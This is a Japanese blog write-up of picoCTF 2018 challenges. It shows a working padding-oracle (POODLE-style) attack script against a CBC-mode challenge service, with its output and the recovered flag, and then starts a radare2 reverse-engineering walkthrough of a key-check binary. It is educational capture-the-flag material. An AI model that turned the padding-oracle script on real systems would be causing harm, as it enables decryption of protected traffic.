picoCTF 2018 の write-up 700点~問題編。
picoCTF2018、いよいよ最終回です…!
今回は最終回の高得点帯問題なのもあり、10問中4問がPwn(Binary)問題。Pwn初心者には辛い戦いでしたが、他の方のサイトやwriteupもガンガン見つつ、なんとか次の年のCTFが始まる直前に完走です。
機械学習分野での脆弱性&それに対する攻撃手法みたいな話が出てきたり、SAT/SMT(充足可能性問題)というのも初めて触れられて、最後まで学びの多いCTFでした。CTFを通して色んな分野がかじれて良き。
残念ながら3問ほどflagを投げられずに終わっています。いずれもPaizza(問題報告板)に報告がありますが、2019/9/11段階では復旧していないようです。うちWeb2問については繋がらないことには何もできないので他の方のwriteupでも眺めようと思います。
Scoreの推移も、ちまちまやっていった様子がにじみ出ていて感慨深い。ほとんど進捗がないあたりはちょうど出産〜産褥期あたりでしょうか。今年の2月からやり始めたっぽいので、8ヶ月かかりましたが楽しませていただきました。最後の方に急激に点が伸びているのは、高得点問題に着手したからですかね。
writeupも沢山あるし、私も人のwriteup参考にさせてもらったので、もはや順位もクソもないのですが記念に。51,561チーム中27位。5万チームも参加している事自体が凄い!
650点問題まではこちら。
[Crypto] James Brahm Returns (700pt)
Dr. Xernon has finally approved an update to James Brahm's spy terminal. (Someone finally told them that ECB isn't secure.) Fortunately, CBC mode is safe! Right? Connect with nc 2018shell.picoctf.com 14263. Source.
Hints
What killed SSL3?
ECBがだめらしいからCBCにしたよ!CBCならセキュアでしょ!ということでCBC関連らしい。Dr. Xernonシリーズ、間が空きすぎて忘れているので思い出す。
- [Forengics] Recovering From the Snap (150pt)
- [Crypto] Super Safe RSA (350pt)
- [Crypto] eleCTRic (400pt)
- [Binary] buffer overflow 3 (450pt)
あれ、色んな分野に登場してた!picoCTFのgameと関係ある登場人物なんだっけ。ゲーム殆どやってないなぁ。シリーズ的には James Brahm
のほうが合ってそうなので、そっちの過去問をチェック。
これはAES-ECBに対する攻撃の問題でした。
今回もソースコードが与えられています。
#!/usr/bin/python2 -u from Crypto.Cipher import AES import reuse import random from string import digits import hashlib agent_code = """flag""" key = """key""" def pad(message): if len(message) % 16 == 0: message = message + chr(16)*16 elif len(message) % 16 != 0: message = message + chr(16 - len(message)%16)*(16 - len(message)%16) return message def encrypt(key, plain, IV): cipher = AES.new( key.decode('hex'), AES.MODE_CBC, IV.decode('hex') ) return IV + cipher.encrypt(plain).encode('hex') def decrypt(key, ciphertext, iv): cipher = AES.new(key.decode('hex'), AES.MODE_CBC, iv.decode('hex')) return cipher.decrypt(ciphertext.decode('hex')).encode('hex') def verify_mac(message): h = hashlib.sha1() mac = message[-40:].decode('hex') message = message[:-40].decode('hex') h.update(message) if h.digest() == mac: return True return False def check_padding(message): check_char = ord(message[-2:].decode('hex')) if (check_char < 17) and (check_char > 0): #bud return message[:-check_char*2] else: return False welcome = "Welcome, Agent 006!" print welcome options = """Select an option: Encrypt message (E) Send & verify (S) """ while True: encrypt_or_send = raw_input(options) if "e" in encrypt_or_send.lower(): sitrep = raw_input("Please enter your situation report: ") message = """Agent, Greetings. My situation report is as follows: {0} My agent identifying code is: {1}. Down with the Soviets, 006 """.format( sitrep, agent_code ) PS = raw_input("Anything else? ") h = hashlib.sha1() message = message+PS h.update(message) message = pad(message+ h.digest()) IV = ''.join(random.choice(digits + 'abcdef') for _ in range(32)) print "encrypted: {}".format(encrypt(key, message, IV )) elif "s" in encrypt_or_send.lower(): sitrep = raw_input("Please input the encrypted message: ") iv = sitrep[:32] c = sitrep[32:] if reuse.check(iv): message = decrypt(key, c, iv) message = check_padding(message) if message: if verify_mac(message): print("Successful decryption.") else: print("Ooops! Did not decrypt successfully. Please send again.") else: print("Ooops! Did not decrypt successfully. Please send again.") else: print("Cannot reuse IVs!")
agent_code
がflag
のようです。[Crypto] SpyFi (300pt)に、文面は似ている感じですが、modeがCBCなのでこのとき(ECB)の解法は使えなさそう。
与えられたホストに接続してみます。
$ nc 2018shell.picoctf.com 14263 Welcome, Agent 006! Select an option: Encrypt message (E) Send & verify (S) > E Please enter your situation report: testestes Anything else? n encrypted: 85a5194100fb18f3fe964df2a8c59d741278952b248dbe0a8d99fd9c4da217c008b618268cc5070df1c40c6f3a3b21fbd1a5ec557013fdaf1ce74354ea236e7eec305fb3a3d0f7e7a5773de3853a2a14138381c7e7eb0d22abc32b823c03a7415089a417a965fdc8a3fb21bf6f6eed4c6c87f483b35dc49eb5c6f8ce8fd5835a5daf9f51437f32948d70a85ed9683501e60d1a0ac558d8445510f95bbb555cb1e4bf682e2cc80b7df1e7139e73dd7fb7435ea2906f4cdc46e5af8b92fd369807 Select an option: Encrypt message (E) Send & verify (S) > S Please input the encrypted message: 85a5194100fb18f3fe964df2a8c59d741278952b248dbe0a8d99fd9c4da217c008b618268cc5070df1c40c6f3a3b21fbd1a5ec557013fdaf1ce74354ea236e7eec305fb3a3d0f7e7a5773de3853a2a14138381c7e7eb0d22abc32b823c03a7415089a417a965fdc8a3fb21bf6f6eed4c6c87f483b35dc49eb5c6f8ce8fd5835a5daf9f51437f32948d70a85ed9683501e60d1a0ac558d8445510f95bbb555cb1e4bf682e2cc80b7df1e7139e73dd7fb7435ea2906f4cdc46e5af8b92fd369807 Successful decryption. Select an option: Encrypt message (E) Send & verify (S) ...
※みやすさのため、一部変更しています。対話式で
- E: Encrypt message
- S: Send & verify
を選択し、E
なら入力した"近況"にテンプレート文を付け加えて暗号化、表示してくれます。S
は暗号文を入れると復号してくれますが、復号後の平文は表示してくれません。
ちなみに Send & verify に失敗すると、decode失敗、mac検証失敗時はエラー "Ooops! Did not decrypt successfully. Please send again." が表示され、それ以前のチェックで不適合の場合はstacktrace吐いて接続が切れます。
さて、CBCモードの際の攻撃といえばPadding Oracle Attackがまっ先に出てきます。CBCモード/Padding Oracle Attack に関する問題は過去にも出ていました。[Crypto] Magic Padding Oracle (450pt) 。
ここで今一度Hintをよく見てみましょう。
What killed SSL3?
知ってる!!!知 っ て る !!!!!!!
むしろ上記の問題といたときに、padding oracle attackについて調べたら出てきて、わざわざwriteupに書いたやつ!POODLE!プードル!
この Padding Oracle Attack, 調べてみると、なんと2014年のPOODLEの脆弱性にも関連してたんですねー!!!知らなかった! POODLEとは「Padding Oracle On Downgraded Legacy Encryption」の頭文字を取ったもので、SSLのバージョン3.0に存在する脆弱性(CVE-2014-3566)のことを指します。 当時はセキュリティ何もわからん民だったけど「あなたのシステムに影響ありますか?調査してください」ってHeartbleedと合わせて投げられて、もう泣きそうだった記憶が。自分が興味を持ってセキュリティ始めるきっかけだった…のかもしれない。
そうそう、可愛い名前のくせに!と同僚と笑い(泣き)あってたほろ苦い思い出。
ということで、路線としては Padding Oracle Attack でよさそう。Padding Oracle Attackの条件は、
- AES-CBC mode
- 暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す
です。今回、2つ目の条件に関しては、パディングが間違っている場合と復号に失敗した場合のエラーメッセージが同じため、残念ながら Magic Padding Olacle のときのように一筋縄では行かないようです…。しかも、iv
がランダム化されています。困った。
source.py
をもう一度よく見てみます。すると、check_padding
関数の中、L38に # bud
というコメントが。bud
って何?と思って調べてみると、どうやら "未熟" という意味があるようです。どうやらこのチェックが怪しそうです。
さらに、POODLEについて興味が湧いたので再度調べてみます。とてもわかり易くSSLの脆弱性を時系列で解説している日本語のサイトを発見。タイトルも今回のヒントそのものです。※ POODLE以前の話もめちゃわかりやすい上に面白かったので全部一気に読んでしまった。後追いでゆっくり解くのはこういうのが自分の中でHOTな時にじっくり読めて良い。
SSL3.0 徹底解剖!!! 〜 なぜ POODLE に殺されたのか 〜 - もろず blog
これによると
SSL3.0 の仕様ではパディング長がブロック長の範囲内かというチェックしかせず、残りのパディングの部分にどんな値が入っているかをチェックしていません なので、末尾の値さえ正しければ正当なパディングがセットされていると判断してしまいます POODLE はこれを利用しています
とのこと。これを踏まえてさっきの check_padding
関数を見てみると、確かにmessageの末尾、すなわちpaddingの末尾しか確認していません。行けそうです。
まず、最後のブロックがパディングだけで埋まるように長さを調整したリクエストを用意します
前回と同じように、攻撃リクエストの全体を可視化してみます。
SHA1は20byteなので、一番最後から逆算すると #-1, #-2, #-3の最後4byteが決まります。また、sourceにあったテンプレート文より、 #1, #2, #3, #4の message までがわかります。
#1 : Agent,\nGreetings #2 : . My situation r #3 : eport is as foll #4 : ows:\n{message * ?} \nMy agent identi fying code is: {flag * ?}. \nDown with the Soviets, \n006\n{ps * ?} #-3: {ps * ?}{hash * 4} #-2: {hash * 16} #-1: {padding * 16}
次に、flagの長さが知りたくなります。ここではちょっと地道ですが、messageの長さを変えていってブロック数が変化する様子を観察します。(Anything alse? のinput: ps
は空)。ちなみにflagは picoCTF{***}
と思われるので、最低10文字はあるものと予測します。簡単ですが、以下スクリプト。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "2018shell.picoctf.com" port = 14263 def get_block_num(data): r.recvuntil("Send & verify (S)") r.sendline("E") r.recvuntil("Please enter your situation report: ") r.sendline(data) r.recvuntil("Anything else? ") r.sendline('') res = r.recv() print(str(len(data)) + ': ' + str(len(res))) return res r = remote(host, port) message = '' for i in range(16): res = get_block_num(message) message += 'a'
実行結果
len(message): len(encrypted) 0: 395 1: 395 2: 395 3: 395 4: 395 5: 395 6: 395 7: 395 8: 395 9: 395 10: 395 11: 395 12: 395 13: 395 14: 427 15: 427
0~15で試したところ、messageの長さが 14
の時にblock数が増えています。ということは、
#1 : Agent,\nGreetings #2 : . My situation r #3 : eport is as foll #4 : ows:\n{message * 11} #5 : {message * 3}\nMy agent ide #6 : ntifying code is #7 : : {flag * 13}. #8 : \nDown with the S #9 : oviets,\n006\n{hash * 4} #10: {hash * 16} #11: {padding * 16}
これがflagの最短長(13)となりそうです。が、picoCTFのflag形式は、最後にユーザーごとのハッシュっぽいのがつくので、実際はもう1ブロック長い 13 + 16 = 29
かそれ以上になりそう。
更に、SpiFy問のときと同じように、flagの最初の1バイトがブロックの最後になるように message と ps の文字数を調節するとこんな感じ。
#1 : Agent,\nGreetings #2 : . My situation r #3 : eport is as foll #4 : ows:\n{message * 11} #5 : \nMy agent identi #6 : fying code is: {flag * 1} #7 : {flag * 16} #8 : {flag * 12}.\nDo #9 : wn with the Sovi #10: ets,\n006\n{ps * 3}{hash * 4} #11: {hash * 16} #12: {padding * 16}
SpyFiと同じように message の長さをずらしながらpadチェックが成功するかを探っていくのですが、今回は最後のブロックが常にpaddingだけになるようにしないといけません。ここは、messageとpsで調節できそうです。このために今回 Anything alse? が追加されてるっぽいですね。面白い。
flagが29文字分まで耐えられるように、message, psの長さ(初期値)を調節します。
#1 : Agent,\nGreetings #2 : . My situation r #3 : eport is as foll #4 : ows:\n{message * 11} #5 : {message * 16} #6 : {message * 16} #7 : {message * 16} #8 : \nMy agent identi #9 : fying code is: {flag * 1} #10: {flag * 16} #11: {flag * 12}.\nDo #12: wn with the Sovi #13: ets,\n006\n{ps * 3}{hash * 4} #14: {hash * 16} #15: {padding * 16}
これで初回の攻撃が完成です。messageは 11 + 16*3 の長さからstart, ps は 3 の長さからstartです。
どうやら接続時間に制限があるようで、一度の接続でやりきろうと思ったら一文字判明するかしないかくらいのタイミングで毎回接続が切れてしまうので、毎回新しく接続するようにしました。もともと数撃ちゃ当たる作戦なので、多少時間がかかるかもしれませんが大勢に影響はないはず。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = "2018shell.picoctf.com" port = 14263 block_size = 32 target_block = 9 context.log_level = 'ERROR' def get_encrypted(r, message, ps): r.recvuntil("Send & verify (S)") r.sendline("E") r.recvuntil("Please enter your situation report: ") r.sendline(message) r.recvuntil("Anything else? ") r.sendline(ps) res = r.recv() return res.split(b': ')[1] def is_valid_padding(r, data): r.recvuntil("Select an option:") r.sendline("S") r.recvuntil("Please input the encrypted message:") r.sendline(data) r.recv() res = r.recv() if b"Successful decryption." in res: return True elif b"Ooops!" in res: return False else: raise("Miss to decrypt.") flag = [] total_len = 14 + 16*3 m_len = total_len - 3 while not b'}' in flag: while True: r = remote(host, port) message = b'm' * m_len ps = b'p' * (total_len - m_len) encrypted = get_encrypted(r, message, ps) # 最後のブロックを、9ブロック目で置き換え attack_msg = encrypted[:-block_size] + \ encrypted[block_size*target_block: block_size*(target_block+1)] res = is_valid_padding(r, attack_msg) if res: # 対象行の最後のバイトをXOR prev = int(encrypted[-block_size-2: -block_size], 16) target = int(encrypted[block_size*target_block-2: block_size*target_block], 16) flag.append(bytes([prev^target^16])) print(b''.join(flag)) break else: print("*", end="") r.close() m_len -= 1
実行結果
$ python solve.py ***********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'p' ******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'pi' **************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'pic' ************************************************************************************************************************b'pico' ******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoC' **********************************************************************************************b'picoCT' ********************************************************************************************b'picoCTF' *********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{' ***************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g' **************************************************************************************************b'picoCTF{g0' ***************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_' ***********************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@' ****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g' *******************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3' ***********************************************b'picoCTF{g0_@g3n' b'picoCTF{g0_@g3nt' *********************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt0' *************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt00' *********************************************************************************************************b'picoCTF{g0_@g3nt006' **********************************************b'picoCTF{g0_@g3nt006!' *************************************************************************************************b'picoCTF{g0_@g3nt006!_' **********************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1' ***********************b'picoCTF{g0_@g3nt006!_18' b'picoCTF{g0_@g3nt006!_184' **********************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840' *****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_18405' **************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_184052' ***********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840527' *****************************************************************************************************************************************b'picoCTF{g0_@g3nt006!_1840527}'
でたよー!!!全部出るのに7時間くらいかかった。もうちょっと効率のいいやり方があるのかな?picoCTF{
までは既知として、その後から探索するのでも良かったかも。でも攻撃方法・スクリプトが正しいか確認するためにpi
が出てくるくらいまでは動かしたいよね。
実際何回思考したのか計算してみると、一文字確定あたり304回。全部で8217回でした。
[Reversing] keygen-me-2 (750pt)
The software has been updated. Can you find us a new product key for the program in /problems/keygen-me-2_4_3cb8c5fbaa87ce402753132dd68f9003
Hints
z3
まずは keygen-me-1 を思い出します。あ、これめちゃ時間かかったやつだ...orz
まずは実行してみます。
$ ./activate Usage: ./activate <PRODUCT_KEY> $ ./activate test Please Provide a VALID 16 byte Product Key.
Product Key は 16byte だそうです。radare2で見てみます。
# r2 ./activate [0x08048500]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x08048500]> s main [0x08048dfc]> pdf / (fcn) main 195 | main (int argc, char **argv, char **envp); | ; var int local_8h @ ebp-0x8 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x8048517) | 0x08048dfc 8d4c2404 lea ecx, dword [arg_4h] ; 4 | 0x08048e00 83e4f0 and esp, 0xfffffff0 | 0x08048e03 ff71fc push dword [ecx - 4] | 0x08048e06 55 push ebp | 0x08048e07 89e5 mov ebp, esp | 0x08048e09 53 push ebx | 0x08048e0a 51 push ecx | 0x08048e0b 89cb mov ebx, ecx | 0x08048e0d a13cb00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804b03c:4]=0 | 0x08048e12 6a00 push 0 | 0x08048e14 6a02 push 2 ; 2 | 0x08048e16 6a00 push 0 | 0x08048e18 50 push eax | 0x08048e19 e8b2f6ffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x08048e1e 83c410 add esp, 0x10 | 0x08048e21 833b01 cmp dword [ebx], 1 | ,=< 0x08048e24 7f17 jg 0x8048e3d | | 0x08048e26 83ec0c sub esp, 0xc | | 0x08048e29 68808f0408 push str.Usage:_._activate__PRODUCT_KEY ; 0x8048f80 ; "Usage: ./activate <PRODUCT_KEY>" | | 0x08048e2e e85df6ffff call sym.imp.puts ; int puts(const char *s) | | 0x08048e33 83c410 add esp, 0x10 | | 0x08048e36 b8ffffffff mov eax, 0xffffffff ; -1 | ,==< 0x08048e3b eb78 jmp 0x8048eb5 | || ; CODE XREF from main (0x8048e24) | |`-> 0x08048e3d 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4 | | 0x08048e40 83c004 add eax, 4 | | 0x08048e43 8b00 mov eax, dword [eax] | | 0x08048e45 83ec0c sub esp, 0xc | | 0x08048e48 50 push eax | | 0x08048e49 e8bcf8ffff call sym.check_valid_key | | 0x08048e4e 83c410 add esp, 0x10 | | 0x08048e51 84c0 test al, al | |,=< 0x08048e53 7517 jne 0x8048e6c | || 0x08048e55 83ec0c sub esp, 0xc | || 0x08048e58 68a08f0408 push str.Please_Provide_a_VALID_16_byte_Product_Key. ; 0x8048fa0 ; "Please Provide a VALID 16 byte Product Key." | || 0x08048e5d e82ef6ffff call sym.imp.puts ; int puts(const char *s) | || 0x08048e62 83c410 add esp, 0x10 | || 0x08048e65 b8ffffffff mov eax, 0xffffffff ; -1 | ,===< 0x08048e6a eb49 jmp 0x8048eb5 | ||| ; CODE XREF from main (0x8048e53) | ||`-> 0x08048e6c 8b4304 mov eax, dword [ebx + 4] ; [0x4:4]=-1 ; 4 | || 0x08048e6f 83c004 add eax, 4 | || 0x08048e72 8b00 mov eax, dword [eax] | || 0x08048e74 83ec0c sub esp, 0xc | || 0x08048e77 50 push eax | || 0x08048e78 e83afeffff call sym.validate_key | || 0x08048e7d 83c410 add esp, 0x10 | || 0x08048e80 84c0 test al, al | ||,=< 0x08048e82 7517 jne 0x8048e9b | ||| 0x08048e84 83ec0c sub esp, 0xc | ||| 0x08048e87 68cc8f0408 push str.INVALID_Product_Key. ; 0x8048fcc ; "INVALID Product Key." | ||| 0x08048e8c e8fff5ffff call sym.imp.puts ; int puts(const char *s) | ||| 0x08048e91 83c410 add esp, 0x10 | ||| 0x08048e94 b8ffffffff mov eax, 0xffffffff ; -1 | ,====< 0x08048e99 eb1a jmp 0x8048eb5 | |||| ; CODE XREF from main (0x8048e82) | |||`-> 0x08048e9b 83ec0c sub esp, 0xc | ||| 0x08048e9e 68e48f0408 push str.Product_Activated_Successfully: ; 0x8048fe4 ; "Product Activated Successfully: " | ||| 0x08048ea3 e8a8f5ffff call sym.imp.printf ; int printf(const char *format) | ||| 0x08048ea8 83c410 add esp, 0x10 | ||| 0x08048eab e84bf7ffff call sym.print_flag | ||| 0x08048eb0 b800000000 mov eax, 0 | ||| ; CODE XREFS from main (0x8048e3b, 0x8048e6a, 0x8048e99) | ```--> 0x08048eb5 8d65f8 lea esp, dword [local_8h] | 0x08048eb8 59 pop ecx | 0x08048eb9 5b pop ebx | 0x08048eba 5d pop ebp | 0x08048ebb 8d61fc lea esp, dword [ecx - 4]
keyの判定ロジックは check_valid_key
関数と validate_key
にありそうです。これをクリアすればflagを出してくれそう。validate_key
関数を確認してみます。
[0x0804870a]> s sym.validate_key [0x08048cb7]> pdf / (fcn) sym.validate_key 325 | sym.validate_key (int arg_8h); | ; var int local_ch @ ebp-0xc | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from main (0x8048e78) | 0x08048cb7 55 push ebp | 0x08048cb8 89e5 mov ebp, esp | 0x08048cba 83ec18 sub esp, 0x18 | 0x08048cbd 83ec0c sub esp, 0xc | 0x08048cc0 ff7508 push dword [arg_8h] | 0x08048cc3 e8e8f7ffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x08048cc8 83c410 add esp, 0x10 | 0x08048ccb 8945f4 mov dword [local_ch], eax | 0x08048cce 8b45f4 mov eax, dword [local_ch] | 0x08048cd1 83ec08 sub esp, 8 | 0x08048cd4 50 push eax | 0x08048cd5 ff7508 push dword [arg_8h] | 0x08048cd8 e8b9faffff call sym.key_constraint_01 | 0x08048cdd 83c410 add esp, 0x10 | 0x08048ce0 84c0 test al, al | ,=< 0x08048ce2 0f840d010000 je 0x8048df5 | | 0x08048ce8 8b45f4 mov eax, dword [local_ch] | | 0x08048ceb 83ec08 sub esp, 8 | | 0x08048cee 50 push eax | | 0x08048cef ff7508 push dword [arg_8h] | | 0x08048cf2 e8f4faffff call sym.key_constraint_02 | | 0x08048cf7 83c410 add esp, 0x10 | | 0x08048cfa 84c0 test al, al | ,==< 0x08048cfc 0f84f3000000 je 0x8048df5 | || 0x08048d02 8b45f4 mov eax, dword [local_ch] | || 0x08048d05 83ec08 sub esp, 8 | || 0x08048d08 50 push eax | || 0x08048d09 ff7508 push dword [arg_8h] | || 0x08048d0c e832fbffff call sym.key_constraint_03 | || 0x08048d11 83c410 add esp, 0x10 | || 0x08048d14 84c0 test al, al | ,===< 0x08048d16 0f84d9000000 je 0x8048df5 | ||| 0x08048d1c 8b45f4 mov eax, dword [local_ch] | ||| 0x08048d1f 83ec08 sub esp, 8 | ||| 0x08048d22 50 push eax | ||| 0x08048d23 ff7508 push dword [arg_8h] | ||| 0x08048d26 e86ffbffff call sym.key_constraint_04 | ||| 0x08048d2b 83c410 add esp, 0x10 | ||| 0x08048d2e 84c0 test al, al | ,====< 0x08048d30 0f84bf000000 je 0x8048df5 | |||| 0x08048d36 8b45f4 mov eax, dword [local_ch] | |||| 0x08048d39 83ec08 sub esp, 8 | |||| 0x08048d3c 50 push eax | |||| 0x08048d3d ff7508 push dword [arg_8h] | |||| 0x08048d40 e8cafbffff call sym.key_constraint_05 | |||| 0x08048d45 83c410 add esp, 0x10 | |||| 0x08048d48 84c0 test al, al | ,=====< 0x08048d4a 0f84a5000000 je 0x8048df5 | ||||| 0x08048d50 8b45f4 mov eax, dword [local_ch] | ||||| 0x08048d53 83ec08 sub esp, 8 | ||||| 0x08048d56 50 push eax | ||||| 0x08048d57 ff7508 push dword [arg_8h] | ||||| 0x08048d5a e825fcffff call sym.key_constraint_06 | ||||| 0x08048d5f 83c410 add esp, 0x10 | ||||| 0x08048d62 84c0 test al, al | ,======< 0x08048d64 0f848b000000 je 0x8048df5 | |||||| 0x08048d6a 8b45f4 mov eax, dword [local_ch] | |||||| 0x08048d6d 83ec08 sub esp, 8 | |||||| 0x08048d70 50 push eax | |||||| 0x08048d71 ff7508 push dword [arg_8h] | |||||| 0x08048d74 e880fcffff call sym.key_constraint_07 | |||||| 0x08048d79 83c410 add esp, 0x10 | |||||| 0x08048d7c 84c0 test al, al | ,=======< 0x08048d7e 7475 je 0x8048df5 | ||||||| 0x08048d80 8b45f4 mov eax, dword [local_ch] | ||||||| 0x08048d83 83ec08 sub esp, 8 | ||||||| 0x08048d86 50 push eax | ||||||| 0x08048d87 ff7508 push dword [arg_8h] | ||||||| 0x08048d8a e8dffcffff call sym.key_constraint_08 | ||||||| 0x08048d8f 83c410 add esp, 0x10 | ||||||| 0x08048d92 84c0 test al, al | ========< 0x08048d94 745f je 0x8048df5 | ||||||| 0x08048d96 8b45f4 mov eax, dword [local_ch] | ||||||| 0x08048d99 83ec08 sub esp, 8 | ||||||| 0x08048d9c 50 push eax | ||||||| 0x08048d9d ff7508 push dword [arg_8h] | ||||||| 0x08048da0 e83efdffff call sym.key_constraint_09 | ||||||| 0x08048da5 83c410 add esp, 0x10 | ||||||| 0x08048da8 84c0 test al, al | ========< 0x08048daa 7449 je 0x8048df5 | ||||||| 0x08048dac 8b45f4 mov eax, dword [local_ch] | ||||||| 0x08048daf 83ec08 sub esp, 8 | ||||||| 0x08048db2 50 push eax | ||||||| 0x08048db3 ff7508 push dword [arg_8h] | ||||||| 0x08048db6 e89dfdffff call sym.key_constraint_10 | ||||||| 0x08048dbb 83c410 add esp, 0x10 | ||||||| 0x08048dbe 84c0 test al, al | ========< 0x08048dc0 7433 je 0x8048df5 | ||||||| 0x08048dc2 8b45f4 mov eax, dword [local_ch] | ||||||| 0x08048dc5 83ec08 sub esp, 8 | ||||||| 0x08048dc8 50 push eax | ||||||| 0x08048dc9 ff7508 push dword [arg_8h] | ||||||| 0x08048dcc e8fcfdffff call sym.key_constraint_11 | ||||||| 0x08048dd1 83c410 add esp, 0x10 | ||||||| 0x08048dd4 84c0 test al, al | ========< 0x08048dd6 741d je 0x8048df5 | ||||||| 0x08048dd8 8b45f4 mov eax, dword [local_ch] | ||||||| 0x08048ddb 83ec08 sub esp, 8 | ||||||| 0x08048dde 50 push eax | ||||||| 0x08048ddf ff7508 push dword [arg_8h] | ||||||| 0x08048de2 e85bfeffff call sym.key_constraint_12 | ||||||| 0x08048de7 83c410 add esp, 0x10 | ||||||| 0x08048dea 84c0 test al, al | ========< 0x08048dec 7407 je 0x8048df5 | ||||||| 0x08048dee b801000000 mov eax, 1 | ========< 0x08048df3 eb05 jmp 0x8048dfa | ||||||| ; XREFS: CODE 0x08048ce2 CODE 0x08048d16 CODE 0x08048d30 CODE 0x08048d4a | ||||||| ; XREFS: CODE 0x08048d64 CODE 0x08048d7e CODE 0x08048d94 CODE 0x08048daa | ||||||| ; XREFS: CODE 0x08048dc0 CODE 0x08048dd6 CODE 0x08048dec | ```````-> 0x08048df5 b800000000 mov eax, 0 | ; CODE XREF from sym.validate_key (0x8048df3) | --------> 0x08048dfa c9 leave \ 0x08048dfb c3 ret
長いな!そして処理関数が key_constraint_01
~ key_constraint_12
まである…!全部確認するのか…!一つ例を見てみます。
[0x08048500]> s sym.key_constraint_01 [0x08048796]> pdf / (fcn) sym.key_constraint_01 85 | sym.key_constraint_01 (int arg_8h); | ; var int local_4h @ ebp-0x4 | ; arg int arg_8h @ ebp+0x8 | ; CALL XREF from sym.validate_key (0x8048cd8) | 0x08048796 55 push ebp | 0x08048797 89e5 mov ebp, esp | 0x08048799 53 push ebx | 0x0804879a 83ec04 sub esp, 4 | 0x0804879d 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x080487a0 0fb600 movzx eax, byte [eax] | 0x080487a3 0fbec0 movsx eax, al | 0x080487a6 83ec0c sub esp, 0xc | 0x080487a9 50 push eax | 0x080487aa e809ffffff call sym.ord | 0x080487af 83c410 add esp, 0x10 | 0x080487b2 0fbed8 movsx ebx, al | 0x080487b5 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8 | 0x080487b8 83c001 add eax, 1 | 0x080487bb 0fb600 movzx eax, byte [eax] | 0x080487be 0fbec0 movsx eax, al | 0x080487c1 83ec0c sub esp, 0xc | 0x080487c4 50 push eax | 0x080487c5 e8eefeffff call sym.ord | 0x080487ca 83c410 add esp, 0x10 | 0x080487cd 0fbec0 movsx eax, al | 0x080487d0 01d8 add eax, ebx | 0x080487d2 83ec08 sub esp, 8 | 0x080487d5 6a24 push 0x24 ; '$' ; 36 | 0x080487d7 50 push eax | 0x080487d8 e894ffffff call sym.mod | 0x080487dd 83c410 add esp, 0x10 | 0x080487e0 83f80e cmp eax, 0xe ; 14 | 0x080487e3 0f94c0 sete al | 0x080487e6 8b5dfc mov ebx, dword [local_4h] | 0x080487e9 c9 leave \ 0x080487ea c3 ret
なんとか読めそうです。
ところで、ヒントの z3
とは何でしょう。z3でググってみても車とか出てきて?だったので、ずばりz3 ctf
とかでググってみた。
それっぽいサイトがいくつかヒットしたのでざっと見た所、どうやら SAT,SMT というのがキーワードのようです。以下のサイトにSATとは、SMTとは、というのが簡単に紹介してありました。
SAT/SMTソルバを自作してみる話 - るくすの日記 ~ Out_Of_Range ~
SATとはsatisfiability problem(充足可能性問題)の略です。 充足可能性問題というのは、一つの命題論理式が与えられたとき、それに含まれる変数の値を偽 (False) あるいは真 (True) にうまく定めることによって全体の値を'真'にできるか、という問題でクラスとしてはNP完全問題になります。
SMTはSatisfiable Modulo Theoriesの略で、一階述語論理式の充足可能性を判定してくれる点がSATソルバと異なります。命題論理よりも表現力が上がるので、ソフトウェアの検証や定理証明等に応用されます。 SMTソルバの基本的な構成は"SATソルバ" + "理論ソルバ"です。
数独みたいな問題も解けるらしい。また知らない分野だった。知らない分野の知識がCTFを通して知れるのは楽しい。
以下の資料もわかりやすかった。
www.slideshare.net
z3が何をしてくれそうかは大体わかった。きっと、今回はこの12個のconstraint関数が全て満たせるような貝を見つけるために使うんでしょう。やっぱりアセンブラは読まなきゃいけないのか…。
z3はこのSMT solverにあたります。ソースはここ。
z3pyリンク集 | 一生あとで読んでろ こちらのサイトで、z3のpythonバインディング z3py
があることを知る。さらに、他に関係ありそうなCTF問へのリンクも。
ということで、z3pyをinstall、使ってみます。上記GitリポジトリをCloneし、READMEを見ながらビルドします。今回はmacOSに直接installしました。
